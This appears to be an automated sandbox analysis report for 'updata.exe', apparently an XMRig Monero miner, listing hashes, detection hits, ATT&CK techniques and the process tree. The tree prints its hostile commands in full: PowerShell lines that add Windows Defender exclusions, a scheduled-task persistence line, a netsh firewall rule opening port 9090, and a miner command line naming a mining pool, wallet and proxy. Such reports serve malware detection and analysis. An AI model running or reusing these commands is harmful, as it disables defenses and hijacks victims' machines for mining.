Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
11/08/2026, 01:20
Static task
static1
Behavioral task
behavioral1
Sample
updata.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
updata.exe
Resource
win11ltsc2024-20260709-en
General
- Target updata.exe
- Size 1.0MB
- Sample260811-bp7prsdm41
- SHA256 b48d7a131c13959b010f96a17dec26f1287e4d68012c3a0979ca95454a39d06e
- MD5 decb86deec2781e878d33e03e91f717c
- SHA1 7844b9275ed94ed4ce1d4c2d9fc8346c53d35c17
- SHA512 f185f757b1176ba2d9e4a77af5daf628a24ac5681a9afdc5c3c6dabf3afac00905de4fcccad2c358aeb67c823910fc18987f449789402d0e7008555b4214e402
- SSDEEP 12288:AjU+ibTbl4mluIT8vS98rccoky79dr0ZLKEr+W9TkgJZZB91CySWuL:Aj3ibF4rUgi8rctTdamE6W9TPdB2g
- TLSH T15735CF2B36768E51C1994F73C1CBA50093A69682BDE7F30FB68013A61D073FAD947297
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- XMRig Miner payload 26 IoCs
resource yara_rule behavioral2/memory/4376-81-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-97-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-96-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-95-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-94-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-101-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-104-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-103-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-102-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-105-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-100-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-99-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-93-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-92-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-91-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-88-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-87-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-86-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-84-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-89-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-90-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-83-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-85-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-106-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-109-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig behavioral2/memory/4376-110-0x0000000140000000-0x00000001408CD000-memory.dmp xmrig - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3592 powershell.exe 4656 powershell.exe - Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 580 netsh.exe 4260 netsh.exe - Executes dropped EXE 2 IoCs
pid Process 1356 updata.exe 5984 updata.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1356 set thread context of 4376 1356 updata.exe 112 - Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2556 schtasks.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3592 powershell.exe 3592 powershell.exe 4656 powershell.exe 4656 powershell.exe 4656 powershell.exe 1356 updata.exe 1356 updata.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3928 updata.exe Token: SeDebugPrivilege 3592 powershell.exe Token: SeIncreaseQuotaPrivilege 3592 powershell.exe Token: SeSecurityPrivilege 3592 powershell.exe Token: SeTakeOwnershipPrivilege 3592 powershell.exe Token: SeLoadDriverPrivilege 3592 powershell.exe Token: SeSystemProfilePrivilege 3592 powershell.exe Token: SeSystemtimePrivilege 3592 powershell.exe Token: SeProfSingleProcessPrivilege 3592 powershell.exe Token: SeIncBasePriorityPrivilege 3592 powershell.exe Token: SeCreatePagefilePrivilege 3592 powershell.exe Token: SeBackupPrivilege 3592 powershell.exe Token: SeRestorePrivilege 3592 powershell.exe Token: SeShutdownPrivilege 3592 powershell.exe Token: SeDebugPrivilege 3592 powershell.exe Token: SeSystemEnvironmentPrivilege 3592 powershell.exe Token: SeRemoteShutdownPrivilege 3592 powershell.exe Token: SeUndockPrivilege 3592 powershell.exe Token: SeManageVolumePrivilege 3592 powershell.exe Token: 33 3592 powershell.exe Token: 34 3592 powershell.exe Token: 35 3592 powershell.exe Token: 36 3592 powershell.exe Token: SeIncreaseQuotaPrivilege 3592 powershell.exe Token: SeSecurityPrivilege 3592 powershell.exe Token: SeTakeOwnershipPrivilege 3592 powershell.exe Token: SeLoadDriverPrivilege 3592 powershell.exe Token: SeSystemProfilePrivilege 3592 powershell.exe Token: SeSystemtimePrivilege 3592 powershell.exe Token: SeProfSingleProcessPrivilege 3592 powershell.exe Token: SeIncBasePriorityPrivilege 3592 powershell.exe Token: SeCreatePagefilePrivilege 3592 powershell.exe Token: SeBackupPrivilege 3592 powershell.exe Token: SeRestorePrivilege 3592 powershell.exe Token: SeShutdownPrivilege 3592 powershell.exe Token: SeDebugPrivilege 3592 powershell.exe Token: SeSystemEnvironmentPrivilege 3592 powershell.exe Token: SeRemoteShutdownPrivilege 3592 powershell.exe Token: SeUndockPrivilege 3592 powershell.exe Token: SeManageVolumePrivilege 3592 powershell.exe Token: 33 3592 powershell.exe Token: 34 3592 powershell.exe Token: 35 3592 powershell.exe Token: 36 3592 powershell.exe Token: SeDebugPrivilege 1356 updata.exe Token: SeDebugPrivilege 5984 updata.exe Token: SeDebugPrivilege 4656 powershell.exe Token: SeIncreaseQuotaPrivilege 4656 powershell.exe Token: SeSecurityPrivilege 4656 powershell.exe Token: SeTakeOwnershipPrivilege 4656 powershell.exe Token: SeLoadDriverPrivilege 4656 powershell.exe Token: SeSystemProfilePrivilege 4656 powershell.exe Token: SeSystemtimePrivilege 4656 powershell.exe Token: SeProfSingleProcessPrivilege 4656 powershell.exe Token: SeIncBasePriorityPrivilege 4656 powershell.exe Token: SeCreatePagefilePrivilege 4656 powershell.exe Token: SeBackupPrivilege 4656 powershell.exe Token: SeRestorePrivilege 4656 powershell.exe Token: SeShutdownPrivilege 4656 powershell.exe Token: SeDebugPrivilege 4656 powershell.exe Token: SeSystemEnvironmentPrivilege 4656 powershell.exe Token: SeRemoteShutdownPrivilege 4656 powershell.exe Token: SeUndockPrivilege 4656 powershell.exe Token: SeManageVolumePrivilege 4656 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4376 MSBuild.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 3928 wrote to memory of 3592 3928 updata.exe 89 PID 3928 wrote to memory of 4752 3928 updata.exe 92 PID 3928 wrote to memory of 2556 3928 updata.exe 94 PID 3928 wrote to memory of 1356 3928 updata.exe 96 PID 1356 wrote to memory of 988 1356 updata.exe 99 PID 5984 wrote to memory of 1444 5984 updata.exe 101 PID 1356 wrote to memory of 4656 1356 updata.exe 105 PID 1356 wrote to memory of 580 1356 updata.exe 107 PID 1356 wrote to memory of 4260 1356 updata.exe 109 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 PID 1356 wrote to memory of 4376 1356 updata.exe 112 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\updata.exe"C:\Users\Admin\AppData\Local\Temp\updata.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\updata\updata.exe'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\updata\updata.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3592
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C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /delete /tn "updata" /f2⤵PID:4752
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C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "updata" /xml "C:\Users\Admin\AppData\Local\Temp\updata.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2556
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C:\Users\Admin\AppData\Roaming\updata\updata.exe"C:\Users\Admin\AppData\Roaming\updata\updata.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /tn "updata"3⤵PID:988
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656
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C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall show rule name="9090"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:580
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C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall add rule name="9090" dir=in action=allow protocol=TCP localport=90903⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4260
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe --algo rx/0 -o xmr-eu1.nanopool.org:10300 -u 45JUhwKbmZ8YxfjJRBQD5hKSopuUve5AuajySX1MASND7HkJCqQUA4d2Hhr29Pq9gW1pnxpWLH34SY7zTEYq4ukEEy5gXDK.Home_xmr -p x -k --cpu-max-threads-hint=50 --http-enabled --http-port=9090 --proxy=154.12.226.43:582013⤵
- Suspicious use of FindShellTrayWindow
PID:4376
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C:\Users\Admin\AppData\Roaming\updata\updata.exeC:\Users\Admin\AppData\Roaming\updata\updata.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5984 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /tn "updata"2⤵PID:1444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5928
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
- MD5 9e67f340014cbaf62f2fb8c7a539d21b
- SHA1 f0ed976f190cbdf1b9b643c93b97d101cb87e3ae
- SHA512 9c86e7c8cfd1971b16e7b82d6ab9c9539e115402d205efff6f2ef941bc0e09a479e31ecff8a3510c8c7ade3f65cdab7b4f1eda357438b854be29349aaccb93e6
- TLSH T1E7216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E659A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ja1bfi2e.u0f.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\updata.xml
- Size 1KB
- SHA256 aa189d55c79d69515d33b32352b2084a6edc89bbfaf71cbb4dc10bd3a00a7413
- MD5 f640cb8b084dcdaf03d46af5923151dd
- SHA1 f96ab4ecdaff064b7c6955b51f2d96a62ce30537
- SHA512 f16063a4f0c85096c135efe70c24cec29e12d413ee4656dd19898ff01c9326db1dbbfa3146924ae9b44f2eef8f8b1fdd64bbcb06ee3dab75e09ed1493d694f55
- TLSH T1E111EF659EC05A0B5137092AD7508242FE33E75707971424F4CC423F3FBA48E564322F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\updata\updata.exe
- Size 1.0MB
- SHA256 b48d7a131c13959b010f96a17dec26f1287e4d68012c3a0979ca95454a39d06e
- MD5 decb86deec2781e878d33e03e91f717c
- SHA1 7844b9275ed94ed4ce1d4c2d9fc8346c53d35c17
- SHA512 f185f757b1176ba2d9e4a77af5daf628a24ac5681a9afdc5c3c6dabf3afac00905de4fcccad2c358aeb67c823910fc18987f449789402d0e7008555b4214e402
- SSDEEP 12288:AjU+ibTbl4mluIT8vS98rccoky79dr0ZLKEr+W9TkgJZZB91CySWuL:Aj3ibF4rUgi8rctTdamE6W9TPdB2g
- TLSH T15735CF2B36768E51C1994F73C1CBA50093A69682BDE7F30FB68013A61D073FAD947297
- MD5 SHA1 SHA512 SSDEEP TLSH